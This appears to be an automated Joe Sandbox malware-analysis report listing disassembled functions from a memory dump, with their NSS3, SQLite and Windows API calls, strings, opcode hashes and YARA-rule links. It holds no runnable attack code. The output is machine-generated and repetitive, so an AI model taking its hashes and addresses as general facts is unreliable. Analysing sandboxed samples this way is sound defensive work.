Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 713c425cf240ac5cfe6f616a51cfb843aed70d3241eaab9840ca07e8bc41081e
Instruction ID: 6296d88f226993584dbf480bb2e23fa40b9f38fa6d6e1e03ff156e2be2d21a1a
Opcode Fuzzy Hash: 713c425cf240ac5cfe6f616a51cfb843aed70d3241eaab9840ca07e8bc41081e
Instruction Fuzzy Hash: AC21D4B2F002409BEF00AEA5DC8092677B8BF5675D724C528DF49CBA12F721E81887A1

Function 6CC83C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC83D3F

Part of subcall function 6CBFBA90: PORT_NewArena_Util.NSS3(00000800,6CC83CAF,?), ref: 6CBFBABF
Part of subcall function 6CBFBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CC83CAF,?), ref: 6CBFBAD5
Part of subcall function 6CBFBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CC83CAF,?), ref: 6CBFBB08
Part of subcall function 6CBFBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CC83CAF,?), ref: 6CBFBB1A
Part of subcall function 6CBFBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CC83CAF,?), ref: 6CBFBB3B

PR_EnterMonitor.NSS3(?), ref: 6CC83CCB

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

PR_EnterMonitor.NSS3(?), ref: 6CC83CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC83CF8
PR_ExitMonitor.NSS3(?), ref: 6CC83D15
PR_ExitMonitor.NSS3(?), ref: 6CC83D2E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 4b2de36584f6d2f1746723f65796f9712a67d69a22a9a2d50ad4d891635fadda
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 4F115B75A226006FE7205E69FC4179BBAF4EF1130CF541135E40A97B20F632F819C646

Function 6CC089E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC088AE,-00000008), ref: 6CC08A04
EnterCriticalSection.KERNEL32(?), ref: 6CC08A15
memset.VCRUNTIME140(6CC088AE,00000000,00000132), ref: 6CC08A27
PR_Unlock.NSS3(?), ref: 6CC08A35
memset.VCRUNTIME140(6CC088AE,00000000,00000132,00000000,-00000008,00000000,?,?,6CC088AE,-00000008), ref: 6CC08A45
free.MOZGLUE(6CC088A6,?,6CC088AE,-00000008), ref: 6CC08A4E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: fd45c3d27f13eef84e6d0422844b2775b30f1ca554c6448ee6196bfe57ef0c67
Instruction ID: 193ddcdd1fc1de34daafbfc601b5e1297d51b3d90db5eeb0b7f90cbcf0fdb65a
Opcode Fuzzy Hash: fd45c3d27f13eef84e6d0422844b2775b30f1ca554c6448ee6196bfe57ef0c67
Instruction Fuzzy Hash: 4F1108B1F003009BFB00AF69DC86E9ABB7CFF09718F048526EA0496A41F732D59487E1

Function 6CC08A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6CC08FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC10710), ref: 6CC08FF1
Part of subcall function 6CC08FE0: calloc.MOZGLUE(00000001,00000000,?,?,6CC10710), ref: 6CC0904D
Part of subcall function 6CC08FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC10710), ref: 6CC09066
Part of subcall function 6CC08FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC10710), ref: 6CC09078

TlsGetValue.KERNEL32 ref: 6CC08AC1
EnterCriticalSection.KERNEL32 ref: 6CC08AD6
PL_FinishArenaPool.NSS3 ref: 6CC08AE5
PR_Unlock.NSS3 ref: 6CC08AF7
DeleteCriticalSection.KERNEL32 ref: 6CC08B02
free.MOZGLUE ref: 6CC08B0E

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: 38ad4225566f2c1b0c0c2ba09cdbf6a1050995af159115d95775f283b4a45803
Instruction ID: cf760008bc63539c430075599047aeae9f321bacdc7b8af5112f1fbb38293ddb
Opcode Fuzzy Hash: 38ad4225566f2c1b0c0c2ba09cdbf6a1050995af159115d95775f283b4a45803
Instruction Fuzzy Hash: CE1136B1604A058FEB00BF75C44966ABBF8FF45348F01856ADA8587701FB35D499CBD2

Function 6CD08910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD0892E

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_Lock.NSS3 ref: 6CD08950

Part of subcall function 6CCB9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBE1A48), ref: 6CCB9BB3
Part of subcall function 6CCB9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBE1A48), ref: 6CCB9BC8

getprotobynumber.WSOCK32(?), ref: 6CD08959
GetLastError.KERNEL32(?), ref: 6CD08967
PR_GetCurrentThread.NSS3(?,?), ref: 6CD0896F
PR_Unlock.NSS3(?,?), ref: 6CD0898A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 60f88c6595d71d068a168c2e2962144d5bf4dcff15dfa79520c5ae20b945b71f
Instruction ID: 139bb9f2458b75900adc0ee7d1930de5dac06ee6fd3cb612a5088cc3e137c545
Opcode Fuzzy Hash: 60f88c6595d71d068a168c2e2962144d5bf4dcff15dfa79520c5ae20b945b71f
Instruction Fuzzy Hash: 1911C272B105209BDB106FBDAC0068A7678AF46778F0543A6ED05A7BB1D7308C04C7D6

Function 6CC86840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC86846

Part of subcall function 6CBE1770: calloc.MOZGLUE(00000001,0000019C,?,6CBE15C2,?,?,?,?,?,00000001,00000040), ref: 6CBE178D

PR_NewMonitor.NSS3(00000000,?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC86855

Part of subcall function 6CC48680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CBF55D0,00000000,00000000), ref: 6CC4868B
Part of subcall function 6CC48680: PR_NewLock.NSS3(00000000,00000000), ref: 6CC486A0
Part of subcall function 6CC48680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CC486B2
Part of subcall function 6CC48680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CC486C8
Part of subcall function 6CC48680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CC486E2
Part of subcall function 6CC48680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CC486EC
Part of subcall function 6CC48680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CC48700

PR_NewMonitor.NSS3(?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC8687D

Part of subcall function 6CBE1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE18DE
Part of subcall function 6CBE1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE18F1

PR_NewMonitor.NSS3(?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC8688C

Part of subcall function 6CBE1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE18FC
Part of subcall function 6CBE1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE198A

PR_NewLock.NSS3 ref: 6CC868A5

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PR_NewLock.NSS3 ref: 6CC868B4

Part of subcall function 6CCB98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCB9946
Part of subcall function 6CCB98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB716B7,00000000), ref: 6CCB994E
Part of subcall function 6CCB98D0: free.MOZGLUE(00000000), ref: 6CCB995E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: cec6ee452c0f5eb23f59a6a393e7b726f7539806bd9d97616e8210a2b9c9fe2b
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 510169B0A12F0746E7916B7648103EB7AF85F15A8DFA5093E856DC6B80FF71D408CBA1

Function 6CBDAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6CBDAF5C
misuse, xrefs: 6CBDAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDAFC4
%s at line %d of [%.10s], xrefs: 6CBDAFD3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 166a070dc0f49b005348abd783a770e0d491ed3804984db938d7255bc9a6d76c
Instruction ID: 0e0b91df86357844b3e3aea409d198b73b78d3eeb6c5cf9b1bce0862471b53e0
Opcode Fuzzy Hash: 166a070dc0f49b005348abd783a770e0d491ed3804984db938d7255bc9a6d76c
Instruction Fuzzy Hash: EF91C175A012958FDB04CF69C890BAEB7F1EF45314F1A45A8E869AB791D334BC01CF62

Function 6CC3FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CC3FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC3FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC3FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CC3FDDE

Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
Part of subcall function 6CC48800: EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
Part of subcall function 6CC48800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
Part of subcall function 6CC48800: PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

Strings

pkcs11:, xrefs: 6CC3FC4F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 027bdd6a51b2e76dde607230545afcdd9906d257116a185d810dafb702ab5c9b
Instruction ID: 5f0f8adbfc37b659da3c362818ff9a2e01263e7e061291698c1e269ead1ac1da
Opcode Fuzzy Hash: 027bdd6a51b2e76dde607230545afcdd9906d257116a185d810dafb702ab5c9b
Instruction Fuzzy Hash: D051E1B1A402319FEB119F69BD44FAA3365BB4135CF1558E5D90C9BB51FB20E808CBA2

Function 6CCCA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CB97915,?,?), ref: 6CCCA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CB97915,?,?), ref: 6CCCA8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCCA891
%s at line %d of [%.10s], xrefs: 6CCCA8A0
database corruption, xrefs: 6CCCA89B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 6ee496a3ebd9e1d1f480561139f9880da555d08871ab1d3ef1c33e5622b20390
Instruction ID: 8680205753353324c3c719e76dbdaca8698860cd83313ff395afea569e674fb2
Opcode Fuzzy Hash: 6ee496a3ebd9e1d1f480561139f9880da555d08871ab1d3ef1c33e5622b20390
Instruction Fuzzy Hash: AF110371B00214AFEB048F51DC94AAAB7A5FF89314F008439FD594BE90FB35E916DB92

Function 6CC2CAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CC0B1EE,D958E836,?,6CC451C5), ref: 6CC2CAFA
PR_UnloadLibrary.NSS3(?,6CC451C5), ref: 6CC2CB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CC0B1EE,D958E836,?,6CC451C5), ref: 6CC2CB2C
PR_UnloadLibrary.NSS3(6CC451C5), ref: 6CC2CB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6CC2CAF5, 6CC2CB27

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: 0d20fb937de3884ac8e05ba3ff065a83fb0b609f290a5d9622df170451f16867
Instruction ID: 2136655b2ec90b8bb4c0f44b162790e3160ed9fd4d60dd67aa8e1d8c0a38a333
Opcode Fuzzy Hash: 0d20fb937de3884ac8e05ba3ff065a83fb0b609f290a5d9622df170451f16867
Instruction Fuzzy Hash: 7011D0B1B016119BFB14EB29D849746B7B8BB06B8DF64412ED50982A40F778E498CBD2

Function 6CBE0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CBE0BDE), ref: 6CBE0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CBE0BDE), ref: 6CBE0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CBE0BDE), ref: 6CBE0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CBE0BDE), ref: 6CBE0E32

Strings

%s incr => %d (find lib), xrefs: 6CBE0E2D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2b71141b96a8c3df00aba6277963e661e7a28811a16e50d2ee1f0f1b592cd495
Instruction ID: 591a06c3673e12b89001f6a06bad387d2ad286d10139529efe3ee3f4cbd7f633
Opcode Fuzzy Hash: 2b71141b96a8c3df00aba6277963e661e7a28811a16e50d2ee1f0f1b592cd495
Instruction Fuzzy Hash: D0012872B002509FE6209F28AC45E1773BCDF49A49B05483DD949D3A51EB61FC1887E1

Function 6CB72940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CB71360,00000000), ref: 6CB72A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6CB71360,00000000), ref: 6CB72A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CB72A7C

Part of subcall function 6CB72D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,C1A3ABFF,?,?,00000000,?,6CB7296E), ref: 6CB72DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB72AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6CB71360,00000000), ref: 6CB72B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6CB72B90

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 43544519ae924da72424e0d2e74b708966a8b9f10e4969586986208b8267880f
Instruction ID: 8c202061e05bc1c743b962d12106388d860f4e51b256faba3b781f684ba894a2
Opcode Fuzzy Hash: 43544519ae924da72424e0d2e74b708966a8b9f10e4969586986208b8267880f
Instruction Fuzzy Hash: 66C1A471F00246CBEB24CF69C8947AAB7B5EF88314F198229DD259B751D730E941CBE2

Function 6CB89C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB89CF2
